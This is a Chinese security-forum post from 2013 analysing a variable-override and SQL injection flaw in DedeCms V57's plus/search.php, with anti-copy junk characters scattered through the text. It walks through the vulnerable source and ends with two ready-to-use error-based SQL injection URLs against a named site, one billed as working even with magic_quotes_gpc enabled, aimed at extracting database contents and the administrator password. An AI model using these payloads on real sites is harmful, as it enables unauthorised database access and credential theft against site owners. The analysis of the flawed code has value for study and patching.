找回密码
 立即注册
查看: 3087|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
) B' X" r4 E) p作者: c4rp3nt3r@0x50sec.org( m) t. J3 \5 K8 C, o- L; ^
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码./ I* I! e  H+ m! j8 S
# \  E: F0 i3 L
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.' t1 L6 _6 F8 q  R" j. x+ i

6 P/ l9 G9 ?7 W1 E# @============
. i& n+ |% L. Q2 U 2 ?4 D5 C5 O, }' O

. ~1 h8 m: U( ?2 rDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
. B4 b9 R+ W  E# h5 b& T& P 7 A  @2 Y# x: j, U% z3 r+ Y: I3 s
require_once(dirname(__FILE__).”/../include/common.inc.php”);( r4 v  W2 v& B
require_once(DEDEINC.”/arc.searchview.class.php”);" h+ t6 i9 W  a, g% Q
# G# X" s+ a" P6 F! r6 ^& s' g& G
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;! s% O; P6 @, H* I0 h' z) q5 k
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
4 j' V: k* _: D0 `7 Y$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;9 C. ]4 X* @. J/ g, s7 W
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;* D7 \- O# W  [: O3 X
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;) Y: F) g2 w8 h( N: O1 G& Z
+ k2 m# S0 v- |* L3 A1 @
if(!isset($orderby)) $orderby=”;" k, M- C- u$ }+ q# T  U
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
$ T  n% h2 m2 C  d. `) ?. f: N
+ e+ }: B* L/ [$ A7 l $ J: }# N% E+ O" G  G6 J
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
# b. R" z. S7 relse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
8 X% V8 f3 w6 P5 O2 J: l0 P " Y1 d# n1 w5 {7 H: E1 g" \) d
if(!isset($keyword)){/ C$ i4 A0 a7 a( {( N2 v
    if(!isset($q)) $q = ”;
3 R- c5 \7 r5 u, ]' n    $keyword=$q;& p% Y2 h& F9 {( }% V% R& C
}+ M$ F4 C/ g4 k8 J/ q8 a0 e
7 L+ W3 @/ F& {- p
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
* ]& C% T0 Y% W" {  L1 w
( o% I& z  q: g/ h//查找栏目信息. {( ?( F" i# T. \
if(empty($typeid))
( x0 t6 x) f$ A& K6 Y{  Z) S0 X/ _  S/ I: D1 g# b
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;- @) A, Q/ J9 G- u. k
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
/ t- h/ P5 `, J    {! d8 ?  N9 V$ v
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);) `4 x7 E1 c( p% t' f5 {6 a0 f
        fwrite($fp, “<”.”?php\r\n”);
, M! H( Y2 I, o, l0 d8 n' m        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
. v' I0 u; u. @$ `        $dsql->Execute();
+ _0 L6 P* Q' {        while($row = $dsql->GetArray())
5 x. I0 l# f2 W) ^& H% K2 C        {
% `  d( _- b# ]) k6 b* R( n  a            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
  F( _' z. {: F  Q7 f        }% q8 Z3 q" y4 k& N' @1 Y) E
        fwrite($fp, ‘?’.'>’);! k1 J! ^7 ?8 P5 `3 I$ j1 a7 Y' Z  t
        fclose($fp);
3 J  P# v, f, P    }5 K" L; j3 E0 U
    //引入栏目缓存并看关键字是否有相关栏目内容& p; `! h3 W2 v; I6 Q: q* q# g
    require_once($typenameCacheFile);3 B1 q, x/ u2 C# }
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
# A1 x" ?5 d. _7 L# u//; T" r/ c: @4 D2 f
    if(isset($typeArr) && is_array($typeArr))
' k% e0 T# ~1 L) d7 n) p% [    {
3 z3 M# G5 {5 c        foreach($typeArr as $id=>$typename)
3 c. C5 ~+ U5 K" d        {: l, L2 @! ?9 n% S- h0 Q

" a0 m  m% n+ h' q7 U( T            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
5 H& `7 X6 O0 |2 ~5 ?. y            if($keyword != $keywordn)
& A0 F0 }  U! J* e  e4 A            {
' Y1 O2 Z5 C1 W' Z8 ]! I                $keyword = $keywordn;
2 h. F8 F  a; Y6 w, @. G                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设# w2 _* G2 c# c5 J
                break;
7 F* y1 H3 n) I' e            }
' K3 c& w" q4 X; `+ _# J+ U        }+ d' R7 ]7 `6 M$ ~
    }
/ G  y1 ~& R; J1 A}$ r1 E* X# U/ C2 M0 v% R; z
然后plus/search.php文件下面定义了一个 Search类的对象 .
: h8 b1 A0 V. T' u7 q" t在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.; j% m0 v' J5 k& ^
$this->TypeLink = new TypeLink($typeid);! A/ S0 y* y1 }/ }
# T/ x' h0 @& h) x
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
0 l& }. ~# w* Q5 X! n$ f# t 3 ?0 _, v* @$ Z: }
class TypeLink
) S+ r" R: v2 m" ^& q9 Z3 D1 p{, F  y3 y4 h" l9 k6 c
    var $typeDir;
1 [+ }" Z$ P& M9 i8 G9 C) e    var $dsql;
/ k6 |& t& H$ s: i7 }: }    var $TypeID;9 t4 v) m, K% Z' r' f" Y4 F+ O
    var $baseDir;
# C7 H* y! R6 c& ]( p    var $modDir;$ C1 [. K" m" x% d3 b
    var $indexUrl;9 @7 ~  ^2 m3 A$ w( S0 ~
    var $indexName;
9 O3 q: K9 r+ B) ?, c    var $TypeInfos;
) k/ J: x( ]4 K% \; S1 l( Z2 w    var $SplitSymbol;, D' _  _# c8 Y; `( J9 c
    var $valuePosition;
, j' z4 X! @9 X+ Y' {+ T9 ]    var $valuePositionName;, `: P$ J& p* L
    var $OptionArrayList;//构造函数///////
6 e1 ]) ^5 L$ }8 k; a# I8 b    //php5构造函数3 J6 Z1 T1 r' R2 E% @
    function __construct($typeid)
& @9 o" @9 e$ f5 w" J1 X    {
% K: @7 f1 a6 e& P+ c        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
4 \* u: J$ j. x$ E        $this->indexName = $GLOBALS['cfg_indexname'];
! E+ y& u+ H$ ?0 ^' [: M        $this->baseDir = $GLOBALS['cfg_basedir'];3 D  Y4 n, K; T% I" L
        $this->modDir = $GLOBALS['cfg_templets_dir'];
* |$ U) {" Z* i3 `        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];3 t" q  d2 Q( h; j, Z
        $this->dsql = $GLOBALS['dsql'];1 L& U1 \* }6 B2 a2 q* l1 T
        $this->TypeID = $typeid;8 U. }* y4 r! U7 C; \
        $this->valuePosition = ”;
. F( {0 L4 V1 d        $this->valuePositionName = ”;1 t* Z  F( H, c$ G2 i3 H2 D
        $this->typeDir = ”;
7 W& r) _9 f- q; `& D3 x  @        $this->OptionArrayList = ”;: j$ B, F  D# V- I+ ]' ]0 a+ s
: b1 o% K  F: J; K
        //载入类目信息* L/ j$ h! r$ H0 _% t1 J

3 o. S7 Q# o; o( L* Z        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
# l4 K( P9 o% l  m$ P! ictypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
" k' b, ^, M% Y! r1 y& h% [; B`#@__channeltype` ch3 Q# j  U1 @! W/ w! v' j
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
1 }, q0 L7 g% h  n3 |3 ? 9 T1 Z6 U! |% c8 U& n& H
        if($typeid > 0)
- {. P; @, r' k& b        {: s" H" m4 {7 c# o
            $this->TypeInfos = $this->dsql->GetOne($query);
' D' f  p$ y0 v/ ~( [/ D6 Z利用代码一 需要 即使magic_quotes_gpc = Off/ t1 A7 v; |& k+ R: U/ k0 A

  L2 F1 n  h* c; @www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
. h" d- z. z2 `& h
7 U  z- t; ?2 k4 `2 h& z& A& H这只是其中一个利用代码… Search 类的构造函数再往下  z: L. y0 H2 ]) Q

( a$ q# B% Q! N+ ?2 L……省略3 x$ B$ L# ]& B% v5 g
$this->TypeID = $typeid;
: P+ \, \# l9 _3 X' l+ v……省略6 z1 K( |. M$ _! f3 G! @4 X9 m/ T6 ]
if($this->TypeID==”0″){
' [  w8 |9 K; \            $this->ChannelTypeid=1;
1 D) r  d4 z9 ?2 s8 L        }else{% q$ r9 I6 |; m% k' N. I* C
            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
, Q1 e/ f* I( N, N# v- _' o//现在不鸡肋了吧亲…) r7 E8 Y/ c1 {/ G8 e2 h
            $this->ChannelTypeid=$row['channeltype'];
, W4 U# f: m8 D4 V4 x  S- E / A6 f  ?. a! s( I" f) v
        }
( _( s: S; X6 V: D6 J% y利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
) ?% [( u3 b8 H4 I: s   X- `4 v- H) m; i4 f# d$ G3 A
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title+ p4 z3 l2 x3 a% x) c
; |3 ~* e) n5 R# W, o
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站) l- H  q5 w) l5 W% x/ [( e" K( F4 C' c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表